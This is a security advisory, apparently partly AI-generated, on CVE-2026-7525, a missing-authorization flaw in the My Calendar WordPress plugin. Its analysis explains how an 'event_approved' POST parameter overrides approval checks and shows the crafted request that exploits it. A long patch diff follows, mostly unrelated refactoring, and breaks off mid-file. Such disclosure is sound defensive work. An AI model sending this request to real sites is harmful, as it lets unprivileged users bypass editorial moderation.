Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-7525: My Calendar <= 3.7.9 – Authenticated (Custom+) Missing Authorization to Unauthorized Event Publication via 'event_approved' Parameter (my-calendar)

CVE ID CVE-2026-7525
Plugin my-calendar
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.7.9
Patched Version 3.7.10
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7525: The My Calendar – Accessible Event Manager plugin for WordPress versions up to and including 3.7.9 contains an authorization bypass vulnerability. This flaw allows authenticated attackers with custom-level access and above to bypass event moderation and approval workflows. Attackers can publish, cancel, or set events to private regardless of their assigned permissions. The vulnerability carries a CVSS score of 4.3 (CWE-862) and stems from missing server-side authorization checks.

The root cause lies in two code paths within `/my-calendar/my-calendar-event-editor.php`. First, in the `mc_edit_event` function at lines 792-802, the code determines `$new_event_status` by checking `current_user_can( ‘mc_approve_events’ )`. However, it then checks `$_POST[‘event_approved’]` and if present, overrides the status with the attacker-provided value. Second, in the `mc_post_data` function at lines 2380-2392, the same pattern exists: the approved status is set based on capability but then overwritten if `event_approved` is present in the POST data. The UI restricts low-privilege users to a draft-only submit button, but this enforcement exists only client-side, making it trivially bypassable through direct POST request manipulation.

Exploitation requires an authenticated WordPress user with at least custom-level access. The attacker crafts a POST request to the event editing endpoint, such as `/wp-admin/admin.php?page=my-calendar-manage&mode=edit&event_id=X`. In the request body, they include the parameter `event_approved=1` to publish the event, or other values like `2` for cancelled, or `3` for private. The lack of server-side verification of the user’s capability to set these statuses is the core vulnerability. No nonce or capability check validates the attacker’s right to force a particular approval state.

The patch removes the insecure override logic entirely. In `mc_edit_event` (line 792-802), the conditional block checking `isset( $post[‘event_approved’] )` is deleted. Similarly, in `mc_post_data` (line 2380-2392), the same override is removed. After patching, the `$approved` variable is determined solely by `current_user_can( ‘mc_approve_events’ )` and cannot be overridden by any request parameter. The patch also removes a deprecated PHP version compatibility check for `magic_quotes_gpc` at line 2235 and moves the `mc_time_format` function to a more appropriate location.

Attackers can arbitrarily publish events, including those that should require moderation approval. They can also change event status to cancelled or private, depending on the `event_approved` value submitted. This bypasses editorial oversight, enabling unauthorized content publication and modification of event visibility. For sites using event submission as a workflow (e.g., community calendars), this undermines the entire moderation system.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/my-calendar/includes/conditionals.php
+++ b/my-calendar/includes/conditionals.php
@@ -50,7 +50,7 @@
  * @return boolean
  */
 function mc_is_custom_icon() {
-	$on   = ( WP_DEBUG ) ? false : get_transient( 'mc_custom_icons' );
+	$on   = get_transient( 'mc_custom_icons' );
 	$dir  = trailingslashit( dirname( __DIR__, 1 ) );
 	$base = trailingslashit( basename( $dir ) );
 	if ( str_contains( $dir, 'my-calendar/src' ) ) {
@@ -75,9 +75,7 @@
 			} else {
 				$return = true;
 			}
-			if ( ! WP_DEBUG ) {
-				set_transient( 'mc_custom_icons', true, HOUR_IN_SECONDS );
-			}
+			set_transient( 'mc_custom_icons', true, HOUR_IN_SECONDS );
 		}
 	}

--- a/my-calendar/includes/date-utilities.php
+++ b/my-calendar/includes/date-utilities.php
@@ -459,58 +459,62 @@
  * @return int de-internationalized change
  */
 function mc_strtotime( $date ) {
-	$months  = array(
-		date_i18n( 'F', strtotime( 'January 1' ) ),
-		date_i18n( 'F', strtotime( 'February 1' ) ),
-		date_i18n( 'F', strtotime( 'March 1' ) ),
-		date_i18n( 'F', strtotime( 'April 1' ) ),
-		date_i18n( 'F', strtotime( 'May 1' ) ),
-		date_i18n( 'F', strtotime( 'June 1' ) ),
-		date_i18n( 'F', strtotime( 'July 1' ) ),
-		date_i18n( 'F', strtotime( 'August 1' ) ),
-		date_i18n( 'F', strtotime( 'September 1' ) ),
-		date_i18n( 'F', strtotime( 'October 1' ) ),
-		date_i18n( 'F', strtotime( 'November 1' ) ),
-		date_i18n( 'F', strtotime( 'December 1' ) ),
-		date_i18n( 'M', strtotime( 'January 1' ) ),
-		date_i18n( 'M', strtotime( 'February 1' ) ),
-		date_i18n( 'M', strtotime( 'March 1' ) ),
-		date_i18n( 'M', strtotime( 'April 1' ) ),
-		date_i18n( 'M', strtotime( 'May 1' ) ),
-		date_i18n( 'M', strtotime( 'June 1' ) ),
-		date_i18n( 'M', strtotime( 'July 1' ) ),
-		date_i18n( 'M', strtotime( 'August 1' ) ),
-		date_i18n( 'M', strtotime( 'September 1' ) ),
-		date_i18n( 'M', strtotime( 'October 1' ) ),
-		date_i18n( 'M', strtotime( 'November 1' ) ),
-		date_i18n( 'M', strtotime( 'December 1' ) ),
-	);
-	$english = array(
-		'January',
-		'February',
-		'March',
-		'April',
-		'May',
-		'June',
-		'July',
-		'August',
-		'September',
-		'October',
-		'November',
-		'December',
-		'Jan',
-		'Feb',
-		'Mar',
-		'Apr',
-		'May',
-		'Jun',
-		'Jul',
-		'Aug',
-		'Sep',
-		'Oct',
-		'Nov',
-		'Dec',
-	);
+	static $months  = null;
+	static $english = null;
+	if ( null === $months ) {
+		$months  = array(
+			date_i18n( 'F', strtotime( 'January 1' ) ),
+			date_i18n( 'F', strtotime( 'February 1' ) ),
+			date_i18n( 'F', strtotime( 'March 1' ) ),
+			date_i18n( 'F', strtotime( 'April 1' ) ),
+			date_i18n( 'F', strtotime( 'May 1' ) ),
+			date_i18n( 'F', strtotime( 'June 1' ) ),
+			date_i18n( 'F', strtotime( 'July 1' ) ),
+			date_i18n( 'F', strtotime( 'August 1' ) ),
+			date_i18n( 'F', strtotime( 'September 1' ) ),
+			date_i18n( 'F', strtotime( 'October 1' ) ),
+			date_i18n( 'F', strtotime( 'November 1' ) ),
+			date_i18n( 'F', strtotime( 'December 1' ) ),
+			date_i18n( 'M', strtotime( 'January 1' ) ),
+			date_i18n( 'M', strtotime( 'February 1' ) ),
+			date_i18n( 'M', strtotime( 'March 1' ) ),
+			date_i18n( 'M', strtotime( 'April 1' ) ),
+			date_i18n( 'M', strtotime( 'May 1' ) ),
+			date_i18n( 'M', strtotime( 'June 1' ) ),
+			date_i18n( 'M', strtotime( 'July 1' ) ),
+			date_i18n( 'M', strtotime( 'August 1' ) ),
+			date_i18n( 'M', strtotime( 'September 1' ) ),
+			date_i18n( 'M', strtotime( 'October 1' ) ),
+			date_i18n( 'M', strtotime( 'November 1' ) ),
+			date_i18n( 'M', strtotime( 'December 1' ) ),
+		);
+		$english = array(
+			'January',
+			'February',
+			'March',
+			'April',
+			'May',
+			'June',
+			'July',
+			'August',
+			'September',
+			'October',
+			'November',
+			'December',
+			'Jan',
+			'Feb',
+			'Mar',
+			'Apr',
+			'May',
+			'Jun',
+			'Jul',
+			'Aug',
+			'Sep',
+			'Oct',
+			'Nov',
+			'Dec',
+		);
+	}

 	return strtotime( str_replace( $months, $english, $date ) );
 }
@@ -530,11 +534,11 @@
 		$timestamp = time();
 	}
 	if ( $offset ) {
-		$offset = intval( get_option( 'gmt_offset', 0 ) ) * 60 * 60;
+		$gmt_offset = intval( get_option( 'gmt_offset', 0 ) ) * 60 * 60;
 	} else {
-		$offset = 0;
+		$gmt_offset = 0;
 	}
-	$timestamp = $timestamp + $offset;
+	$timestamp = $timestamp + $gmt_offset;

 	return ( '' === $format ) ? $timestamp : gmdate( $format, $timestamp );
 }
@@ -576,6 +580,10 @@
  * @return array HTML for each day in an array.
  */
 function mc_name_days( $format ) {
+	static $cache = array();
+	if ( isset( $cache[ $format ] ) ) {
+		return $cache[ $format ];
+	}
 	$name_days = array(
 		'<abbr title="' . date_i18n( 'l', strtotime( 'Monday' ) ) . '" aria-hidden="true">' . date_i18n( 'D', strtotime( 'Monday' ) ) . '</abbr><span class="screen-reader-text">' . date_i18n( 'l', strtotime( 'Monday' ) ) . '</span>',
 		'<abbr title="' . date_i18n( 'l', strtotime( 'Tuesday' ) ) . '" aria-hidden="true">' . date_i18n( 'D', strtotime( 'Tuesday' ) ) . '</abbr><span class="screen-reader-text">' . date_i18n( 'l', strtotime( 'Tuesday' ) ) . '</span>',
@@ -597,6 +605,7 @@
 			'<span aria-hidden="true">' . __( '<abbr title="Sunday">S</abbr>', 'my-calendar' ) . '</span><span class="screen-reader-text">' . date_i18n( 'l', strtotime( 'Sunday' ) ) . '</span>', // phpcs:ignore WordPress.WP.I18n.NoHtmlWrappedStrings
 		);
 	}
+	$cache[ $format ] = $name_days;

 	return $name_days;
 }
@@ -805,12 +814,36 @@
  * @return string
  */
 function mc_date_format() {
-	$date_format = ( '' === mc_get_option( 'date_format' ) ) ? get_option( 'date_format' ) : mc_get_option( 'date_format' );
+	static $date_format = null;
+	if ( null === $date_format ) {
+		$date_format = ( '' === mc_get_option( 'date_format' ) ) ? get_option( 'date_format' ) : mc_get_option( 'date_format' );
+	}

 	return $date_format;
 }

 /**
+ * Get the My Calendar time format.
+ *
+ * @return string format.
+ */
+function mc_time_format() {
+	static $mc_time_format = null;
+	if ( null === $mc_time_format ) {
+		$mc_time_format = mc_get_option( 'time_format' );
+		$time_format    = get_option( 'time_format', '' );
+		if ( '' === $mc_time_format ) {
+			$mc_time_format = $time_format;
+		}
+		if ( '' === $mc_time_format ) {
+			$mc_time_format = 'h:i a';
+		}
+	}
+
+	return $mc_time_format;
+}
+
+/**
  * Produce the human-readable string for recurrence.
  *
  * @param object $event Event object.
--- a/my-calendar/includes/db.php
+++ b/my-calendar/includes/db.php
@@ -90,6 +90,11 @@
  * @return string properly prefixed table name
  */
 function my_calendar_select_table( $table = 'my_calendar_events', $site = false ) {
+	static $table_cache = array();
+	$cache_key          = $table . '_' . ( $site ? $site : get_current_blog_id() );
+	if ( isset( $table_cache[ $cache_key ] ) ) {
+		return $table_cache[ $cache_key ];
+	}
 	global $wpdb;

 	/**
@@ -136,6 +141,7 @@
 	} else {
 		$return = $local;
 	}
+	$table_cache[ $cache_key ] = $return;

 	return $return;
 }
--- a/my-calendar/includes/general-utilities.php
+++ b/my-calendar/includes/general-utilities.php
@@ -211,21 +211,26 @@
  * @return string white or black hex value
  */
 function mc_inverse_color( $color ) {
-	$color = str_replace( '#', '', $color );
+	static $cache = array();
+	$color        = str_replace( '#', '', $color );
 	if ( strlen( $color ) !== 6 ) {
 		return '#000000';
 	}
-	$rgb       = '';
-	$total     = 0;
+	if ( isset( $cache[ $color ] ) ) {
+		return $cache[ $color ];
+	}
 	$red       = 0.299 * ( 255 - hexdec( substr( $color, 0, 2 ) ) );
 	$green     = 0.587 * ( 255 - hexdec( substr( $color, 2, 2 ) ) );
 	$blue      = 0.114 * ( 255 - hexdec( substr( $color, 4, 2 ) ) );
 	$luminance = 1 - ( ( $red + $green + $blue ) / 255 );
 	if ( $luminance < 0.5 ) {
-		return '#ffffff';
+		$return = '#ffffff';
 	} else {
-		return '#000000';
+		$return = '#000000';
 	}
+	$cache[ $color ] = $return;
+
+	return $return;
 }

 /**
--- a/my-calendar/my-calendar-api.php
+++ b/my-calendar/my-calendar-api.php
@@ -80,10 +80,9 @@
 				 *
 				 * @return {array}
 				 */
-				$args   = apply_filters( 'mc_filter_api_args', $args, $request );
-				$data   = my_calendar_events( $args );
-				$output = mc_format_api( $data, $format );
-				echo wp_kses_post( $output );
+				$args = apply_filters( 'mc_filter_api_args', $args, $request );
+				$data = my_calendar_events( $args );
+				mc_format_api( $data, $format );
 			}
 			die;
 		} else {
@@ -159,11 +158,11 @@
 				unset( $values['event_id'] );
 			}

-			foreach ( $values as $key => $text ) {
+			foreach ( $values as $k => $text ) {
 				if ( is_array( $text ) ) {
 					$text = implode( '|', $text );
 				}
-				$values[ $key ] = mc_clean_data( $text );
+				$values[ $k ] = mc_clean_data( $text );
 			}
 			if ( ! $keyed ) {
 				$keys = array_keys( $values );
@@ -274,14 +273,14 @@
  * Generate Google subscribe feed data.
  */
 function mc_ics_subscribe_google() {
-	mc_ics_subscribe( 'google' );
+	mc_ics_subscribe();
 }

 /**
  * Generate Outlook subscribe feed data.
  */
 function mc_ics_subscribe_outlook() {
-	mc_ics_subscribe( 'outlook' );
+	mc_ics_subscribe();
 }

 /**
--- a/my-calendar/my-calendar-categories.php
+++ b/my-calendar/my-calendar-categories.php
@@ -28,6 +28,7 @@
 	$result = $wpdb->query( $wpdb->prepare( 'UPDATE ' . my_calendar_categories_table() . " SET $field = %d WHERE category_id=%d", $data, $category ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared
 	// Delete category caches.
 	delete_transient( 'mc_cat_' . $category );
+	delete_transient( 'mc_private_categories' );

 	return $result;
 }
@@ -50,7 +51,7 @@
 	if ( ! $wp_filesystem->exists( $directory ) ) {
 		return array();
 	}
-	$results = ( WP_DEBUG ) ? array() : get_transient( 'mc_icon_list' );
+	$results = get_transient( 'mc_icon_list' );
 	if ( empty( $results ) ) {
 		$results = array();
 		$files   = list_files( $directory );
@@ -111,6 +112,10 @@
  * @return array private categories
  */
 function mc_get_private_categories() {
+	$cache = get_transient( 'mc_private_categories' );
+	if ( $cache ) {
+		return $cache;
+	}
 	$mcdb       = mc_is_remote_db();
 	$table      = my_calendar_categories_table();
 	$query      = 'SELECT category_id FROM `' . $table . '` WHERE category_private = 1';
@@ -129,7 +134,10 @@
 	 *
 	 * @return {array}
 	 */
-	return apply_filters( 'mc_private_categories', $categories );
+	$return = apply_filters( 'mc_private_categories', $categories );
+	set_transient( 'mc_private_categories', $return, WEEK_IN_SECONDS );
+
+	return $return;
 }

 /**
@@ -792,9 +800,14 @@
  * @return object
  */
 function mc_get_category( $category ) {
+	static $cat_cache = array();
+	if ( is_int( $category ) && isset( $cat_cache[ $category ] ) && ! is_admin() ) {
+		return $cat_cache[ $category ];
+	}
 	if ( is_int( $category ) ) {
 		$cat = get_transient( 'mc_cat_' . $category );
 		if ( $cat ) {
+			$cat_cache[ (int) $category ] = $cat;
 			return $cat;
 		}
 	}
--- a/my-calendar/my-calendar-core.php
+++ b/my-calendar/my-calendar-core.php
@@ -1528,6 +1528,16 @@
 		);
 		$wp_admin_bar->add_node( $args );
 	}
+	if ( function_exists( 'mcs_submissions' ) && is_numeric( get_option( 'mcs_edit_id' ) ) && mcs_user_can_submit_events() ) {
+		$url  = get_permalink( get_option( 'mcs_edit_id' ) );
+		$args = array(
+			'id'     => 'mc-edit-events',
+			'title'  => __( 'Public Event List', 'my-calendar' ),
+			'href'   => $url,
+			'parent' => 'mc-my-calendar',
+		);
+		$wp_admin_bar->add_node( $args );
+	}
 }

 /**
@@ -1827,7 +1837,8 @@
 		'mc.duet',
 		'duetFormats',
 		array(
-			'date' => ( get_option( 'mcs_date_format', '' ) ) ? get_option( 'mcs_date_format' ) : 'Y-m-d',
+			'date'  => ( get_option( 'mcs_date_format', '' ) ) ? get_option( 'mcs_date_format' ) : 'Y-m-d',
+			'error' => __( 'Your selected end date is before your start date.', 'my-calendar' ),
 		)
 	);
 	wp_localize_script(
@@ -2050,25 +2061,6 @@
 	}
 }

-
-/**
- * Get the My Calendar time format.
- *
- * @return string format.
- */
-function mc_time_format() {
-	$mc_time_format = mc_get_option( 'time_format' );
-	$time_format    = get_option( 'time_format', '' );
-	if ( '' === $mc_time_format ) {
-		$mc_time_format = $time_format;
-	}
-	if ( '' === $mc_time_format ) {
-		$mc_time_format = 'h:i a';
-	}
-
-	return $mc_time_format;
-}
-
 /**
  * Return a table header with sortability.
  *
--- a/my-calendar/my-calendar-event-editor.php
+++ b/my-calendar/my-calendar-event-editor.php
@@ -283,17 +283,26 @@
 		$post_status = $privacy;
 		$auth        = $data['event_author'];
 		$type        = 'mc-events';
-		$my_post     = array(
+		/**
+		 * Filter the permalink slug for My Calendar events. Return value will be run through `sanitize_title()`.
+		 *
+		 * @hook mc_event_permalink_slug
+		 *
+		 * @param {string} $title The event title, before sanitizing.
+		 * @param {array}  $data Array of event data.
+		 */
+		$post_name = apply_filters( 'mc_event_permalink_slug', $title, $data );
+		$my_post   = array(
 			'post_title'   => $title,
 			'post_content' => $description,
 			'post_status'  => $post_status,
 			'post_author'  => $auth,
-			'post_name'    => sanitize_title( $title ),
+			'post_name'    => sanitize_title( $post_name ),
 			'post_date'    => current_time( 'Y-m-d H:i:s' ),
 			'post_type'    => $type,
 			'post_excerpt' => $excerpt,
 		);
-		$post_id     = wp_insert_post( $my_post );
+		$post_id   = wp_insert_post( $my_post );
 		wp_set_object_terms( $post_id, $terms, 'mc-event-category' );
 		$attachment_id = false;
 		if ( isset( $post['event_image_id'] ) ) {
@@ -563,6 +572,7 @@
 	$proceed    = (bool) $output[0];
 	$post       = $output[4];
 	$message    = '';
+	$type       = 'notice';
 	$event_post = false;
 	$formats    = array( '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d' );

@@ -792,10 +802,6 @@
 			} else {
 				// do an action using the $action and processed event data.
 				$new_event_status = ( current_user_can( 'mc_approve_events' ) ) ? 1 : 0;
-				// check for event_approved provides support for older versions of My Calendar Pro.
-				if ( isset( $post['event_approved'] ) && $post['event_approved'] !== $new_event_status ) {
-					$new_event_status = absint( $post['event_approved'] );
-				}
 				if ( isset( $post['prev_event_status'] ) ) {
 					/**
 					 * Execute an action when an event changes status.
@@ -858,6 +864,15 @@
 		$instance = false;
 		$post_id  = mc_get_data( 'event_post', $event_id );
 		if ( empty( $_POST['event_instance'] ) ) {
+			/**
+			 * Action run just before an event is deleted.
+			 *
+			 * @hook mc_before_delete_event
+			 *
+			 * @param {int} $event_id Event ID.
+			 * @param {int} $post_id Event Post ID.
+			 */
+			do_action( 'mc_before_delete_event', $event_id, $post_id );
 			// Delete from instance table.
 			$wpdb->query( $wpdb->prepare( 'DELETE FROM ' . my_calendar_event_table() . ' WHERE occur_event_id=%d', $event_id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 			// Delete from event table.
@@ -1137,7 +1152,7 @@
  * @param string    $default_str Default string value.
  * @param int|false $group_id If in group editing, group ID.
  *
- * @return string.
+ * @return string
  */
 function mc_show_block( $field, $has_data, $data, $display = true, $default_str = '', $group_id = false ) {
 	global $user_ID;
@@ -2235,9 +2250,6 @@
 	$desc               = '';
 	$primary            = 1;

-	if ( version_compare( PHP_VERSION, '7.4', '<' ) && get_magic_quotes_gpc() ) { //phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated
-		$post = array_map( 'stripslashes_deep', $post );
-	}
 	if ( ! wp_verify_nonce( $post['event_nonce_name'], 'event_nonce' ) ) {
 		return array();
 	}
@@ -2380,10 +2392,6 @@
 		$event_link   = ! empty( $post['event_link'] ) ? trim( $post['event_link'] ) : '';
 		$expires      = ! empty( $post['event_link_expires'] ) ? $post['event_link_expires'] : '0';
 		$approved     = ( current_user_can( 'mc_approve_events' ) ) ? 1 : 0;
-		// Check for event_approved provides support for older versions of My Calendar Pro.
-		if ( isset( $post['event_approved'] ) && $post['event_approved'] !== $approved ) {
-			$approved = absint( $post['event_approved'] );
-		}

 		$saved_location     = ! empty( $post['preset_location'] ) ? $post['preset_location'] : '';
 		$select_location    = ( ! empty( $post['location_preset'] ) ) ? $post['location_preset'] : '';
@@ -2921,7 +2929,7 @@
 		<label for="mc_event_date" id="eblabel">' . __( 'Date', 'my-calendar' ) . '</label> ' . $picker_begin . '
 		</p>
 		<p>
-			<label for="mc_event_enddate" id="eelabel" aria-labelledby="eelabel event_date_error"><em>' . __( 'End Date (optional)', 'my-calendar' ) . '</em></label> ' . $picker_end . '<span id="event_date_error" aria-live="assertive"><span class="dashicons dashicons-no" aria-hidden="true"></span>' . __( 'Your selected end date is before your start date.', 'my-calendar' ) . '</span>
+			<label for="mc_event_enddate" id="eelabel" aria-labelledby="eelabel event_date_error"><em>' . __( 'End Date (optional)', 'my-calendar' ) . '</em></label> ' . $picker_end . '<span id="event_date_error" aria-live="assertive"></span>
 		</p>
 	</div>
 	<ul class="checkboxes">
--- a/my-calendar/my-calendar-event-manager.php
+++ b/my-calendar/my-calendar-event-manager.php
@@ -93,10 +93,10 @@
 					 *
 					 * @hook mcs_complete_submission
 					 *
-					 * @param {string} $name Submitter's name.
-					 * @param {string} $email Submitter's email.
-					 * @param {int}    $id Event ID.
-					 * @param {string} $action Action performed ('edit').
+					 * @param {string}     $name Submitter's name.
+					 * @param {string}     $email Submitter's email.
+					 * @param {int|object} $id Event ID in bulk actions; event object in single actions.
+					 * @param {string}     $action Action performed ('edit').
 					 */
 					do_action( 'mcs_complete_submission', $name, $email, $id, 'edit' );
 				}
@@ -712,6 +712,8 @@
 		$filter          = $filters['filter'];
 		$restrict        = $filters['restrict'];
 		$allow_filters   = true;
+		$nav_label       = __( 'Events Pagination', 'my-calendar' );
+		$user_count      = $wpdb->get_var( $wpdb->prepare( 'SELECT COUNT(DISTINCT event_author) FROM %i', my_calendar_table() ) );

 		if ( ! current_user_can( 'mc_manage_events' ) && ! current_user_can( 'mc_approve_events' ) ) {
 			$restrict      = 'event_author';
@@ -763,21 +765,20 @@
 			$found_rows = $wpdb->get_col( 'SELECT COUNT(*) FROM  ' . my_calendar_table() . ' AS e ' . $join . ' JOIN ' . my_calendar_categories_table() . " AS c WHERE e.event_category = c.category_id $limit ORDER BY c.category_name $sortbydirection" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared

 		}
-		$items     = $found_rows[0];
-		$num_pages = ceil( $items / $query['items_per_page'] );
+		$items      = $found_rows[0];
+		$num_pages  = ceil( $items / $query['items_per_page'] );
+		$page_links = paginate_links(
+			array(
+				'base'      => add_query_arg( 'paged', '%#%' ),
+				'format'    => '',
+				'prev_text' => __( '« Previous<span class="screen-reader-text"> Events</span>', 'my-calendar' ),
+				'next_text' => __( 'Next<span class="screen-reader-text"> Events</span> »', 'my-calendar' ),
+				'total'     => $num_pages,
+				'current'   => $query['current'],
+				'mid_size'  => 2,
+			)
+		);
 		if ( $num_pages > 1 ) {
-			$page_links = paginate_links(
-				array(
-					'base'      => add_query_arg( 'paged', '%#%' ),
-					'format'    => '',
-					'prev_text' => __( '« Previous<span class="screen-reader-text"> Events</span>', 'my-calendar' ),
-					'next_text' => __( 'Next<span class="screen-reader-text"> Events</span> »', 'my-calendar' ),
-					'total'     => $num_pages,
-					'current'   => $query['current'],
-					'mid_size'  => 2,
-				)
-			);
-			$nav_label  = __( 'Events Pagination', 'my-calendar' );
 			?>
 			<nav class='tablenav' aria-label='<?php echo esc_attr( $nav_label ); ?>'>
 				<div class='tablenav-pages'>
@@ -831,8 +832,10 @@
 					$col_head .= mc_table_header( __( 'Location', 'my-calendar' ), $sortbydirection, $sortby, '7', $url );
 					$url       = add_query_arg( 'sort', '4', $admin_url );
 					$col_head .= mc_table_header( __( 'Date/Time', 'my-calendar' ), $sortbydirection, $sortby, '4', $url );
-					$url       = add_query_arg( 'sort', '5', $admin_url );
-					$col_head .= mc_table_header( __( 'Author', 'my-calendar' ), $sortbydirection, $sortby, '5', $url );
+					if ( $user_count > 1 ) {
+						$url       = add_query_arg( 'sort', '5', $admin_url );
+						$col_head .= mc_table_header( __( 'Author', 'my-calendar' ), $sortbydirection, $sortby, '5', $url );
+					}
 					$url       = add_query_arg( 'sort', '6', $admin_url );
 					$col_head .= mc_table_header( __( 'Category', 'my-calendar' ), $sortbydirection, $sortby, '6', $url );
 					echo wp_kses( $col_head, 'mycalendar' );
@@ -896,7 +899,8 @@
  */
 function mc_admin_events_table( $events ) {
 	global $wpdb;
-	$class = '';
+	$class      = '';
+	$user_count = $wpdb->get_var( $wpdb->prepare( 'SELECT COUNT(DISTINCT event_author) FROM %i', my_calendar_table() ) );

 	foreach ( array_keys( $events ) as $key ) {
 		$e       =& $events[ $key ];
@@ -937,7 +941,7 @@
 		$can_edit   = mc_can_edit_event( $event );
 		if ( current_user_can( 'mc_manage_events' ) || current_user_can( 'mc_approve_events' ) || $can_edit ) {
 			?>
-			<tr class="<?php echo esc_attr( "$class $spam $pending $trashed $problem $cancelled" ); ?>">
+			<tr class="<?php echo esc_attr( trim( "$class $spam $pending $trashed $problem $cancelled" ) ); ?>">
 				<th scope="row">
 					<input type="checkbox" value="<?php echo absint( $event->event_id ); ?>" name="mass_edit[]" id="mc<?php echo absint( $event->event_id ); ?>" aria-describedby='event<?php echo absint( $event->event_id ); ?>' />
 					<label for="mc<?php echo absint( $event->event_id ); ?>">
@@ -1048,21 +1052,30 @@
 				}
 				$begin = date_i18n( mc_date_format(), mc_strtotime( $event->event_begin ) );
 				echo esc_html( "$begin, $event_time" );
-				?>
+				$recurs = mc_recur_string( $event );
+				if ( $recurs ) {
+					?>
 					<div class="recurs">
-						<?php echo wp_kses_post( mc_recur_string( $event ) ); ?>
+						<?php echo wp_kses_post( $recurs ); ?>
 					</div>
+					<?php
+				}
+				?>
 				</td>
 				<?php
-				$auth   = ( is_object( $author ) ) ? $author->ID : 0;
-				$filter = mc_admin_url( "admin.php?page=my-calendar-manage&filter=$auth&restrict=author" );
-				$author = ( is_object( $author ) ? $author->display_name : $author );
-				?>
+				if ( $user_count > 1 ) {
+					$auth   = ( is_object( $author ) ) ? $author->ID : 0;
+					$filter = mc_admin_url( "admin.php?page=my-calendar-manage&filter=$auth&restrict=author" );
+					$author = ( is_object( $author ) ? $author->display_name : $author );
+					?>
 				<td>
 					<a class='mc_filter' href="<?php echo esc_url( $filter ); ?>">
 						<span class="screen-reader-text"><?php esc_html_e( 'Show only: ', 'my-calendar' ); ?></span><?php echo esc_html( $author ); ?>
 					</a>
 				</td>
+					<?php
+				}
+				?>
 				<td>
 				<div class="mc-category-list">
 					<?php echo wp_kses( mc_admin_category_list( $event ), mc_kses_elements() ); ?>
@@ -1156,7 +1169,7 @@
 	}

 	/**
-	 * Filter permissions to edit an event via the My Calendar Pro REST API..
+	 * Filter permissions to edit an event via the My Calendar Pro REST API.
 	 *
 	 * @hook mc_api_can_edit_event
 	 *
--- a/my-calendar/my-calendar-events.php
+++ b/my-calendar/my-calendar-events.php
@@ -365,6 +365,7 @@
 	$ts_string        = mc_ts();
 	$select_window    = ( ! $before ) ? 'AND occur_begin > ' . $now_limit : '';
 	$select_window    = ( ! $after ) ? 'AND occur_end < ' . $now_limit : $select_window;
+	$now_limit        = "$select_published $select_category $select_author $select_host $select_access $search";
 	$limit            = "$select_published $select_category $select_author $select_host $select_access $search $select_window";

 	// New Query style.
@@ -385,6 +386,25 @@
 		ORDER BY $ordering ASC LIMIT 0,$total"
 	);

+	if ( 'now' === $time ) {
+		$now_events_time = current_time( 'Y-m-d H:i:s' );
+		$event_query     = 'SELECT *, ' . $ts_string . '
+			FROM ' . my_calendar_event_table( $site ) . ' AS o
+			JOIN ' . my_calendar_table( $site ) . " AS e
+			ON (event_id=occur_event_id)
+			$join
+			$location_join
+			JOIN " . my_calendar_categories_table( $site ) . " AS c
+			ON (event_category=category_id)
+			WHERE $now_limit
+			$exclude_categories
+			AND ( CAST('$now_events_time' AS DATETIME) BETWEEN occur_begin AND occur_end )
+			ORDER BY $ordering ASC LIMIT 0,$total";
+
+		$now_events = $mcdb->get_results( $event_query );
+		$events     = array_merge( $events, $now_events );
+	}
+
 	$cats = array();
 	foreach ( array_keys( $events ) as $key ) {
 		$event          =& $events[ $key ];
@@ -555,7 +575,8 @@
 	 *
 	 * @return {int}
 	 */
-	$after = apply_filters( 'mc_future_search_results', 15 );
+	$after       = apply_filters( 'mc_future_search_results', 15 );
+	$event_array = array();
 	if ( is_array( $search ) ) {
 		// If from & to are set, we need to use a date-based event query.
 		$from     = mc_checkdate( $search['from'] );
@@ -832,7 +853,7 @@
 	$select_author   = '';
 	$select_host     = '';
 	/**
-	 * Set primary sort for getting today's events. Default 'occur_begin'.
+	 * Set primary sort for getting happening events. Default 'occur_begin'.
 	 *
 	 * @hook mc_primary_sort
 	 *
@@ -843,7 +864,7 @@
 	 */
 	$primary_sort = apply_filters( 'mc_primary_sort', 'occur_begin', 'my_calendar_events_now' );
 	/**
-	 * Set secondary sort for getting today's events. Default 'event_title ASC'.
+	 * Set secondary sort for getting happening events. Default 'event_title ASC'.
 	 *
 	 * @hook mc_secondary_sort
 	 *
@@ -1385,19 +1406,22 @@
 	// Translators: Number of total events.
 	$arc_text = sprintf( __( 'Archived (%d)', 'my-calendar' ), $counts['archive'] );

-	$can_text = '';
+	$can_text       = '';
+	$can_attributes = '';
 	if ( isset( $counts['cancel'] ) && 0 < (int) $counts['cancel'] ) {
 		$can_attributes = ( isset( $_GET['limit'] ) && 'cancelled' === $_GET['limit'] ) ? ' aria-current="true"' : '';
 		// Translators: Number of total events.
 		$can_text = sprintf( __( 'Cancelled (%d)', 'my-calendar' ), $counts['cancel'] );
 	}
-	$pri_text = '';
+	$pri_text       = '';
+	$pri_attributes = '';
 	if ( isset( $counts['private'] ) && 0 < (int) $counts['private'] ) {
 		$pri_attributes = ( isset( $_GET['limit'] ) && 'private' === $_GET['limit'] ) ? ' aria-current="true"' : '';
 		// Translators: Number of total events.
 		$pri_text = sprintf( __( 'Private (%d)', 'my-calendar' ), $counts['private'] );
 	}
-	$per_text = '';
+	$per_text       = '';
+	$per_attributes = '';
 	if ( isset( $counts['personal'] ) && 0 < (int) $counts['personal'] ) {
 		$per_attributes = ( isset( $_GET['limit'] ) && 'personal' === $_GET['limit'] ) ? ' aria-current="true"' : '';
 		// Translators: Number of total events.
--- a/my-calendar/my-calendar-help.php
+++ b/my-calendar/my-calendar-help.php
@@ -384,7 +384,7 @@
  */
 function mc_display_icons() {
 	$is_custom = mc_is_custom_icon();
-	$output    = ( WP_DEBUG ) ? false : get_transient( 'mc_svg_list' );
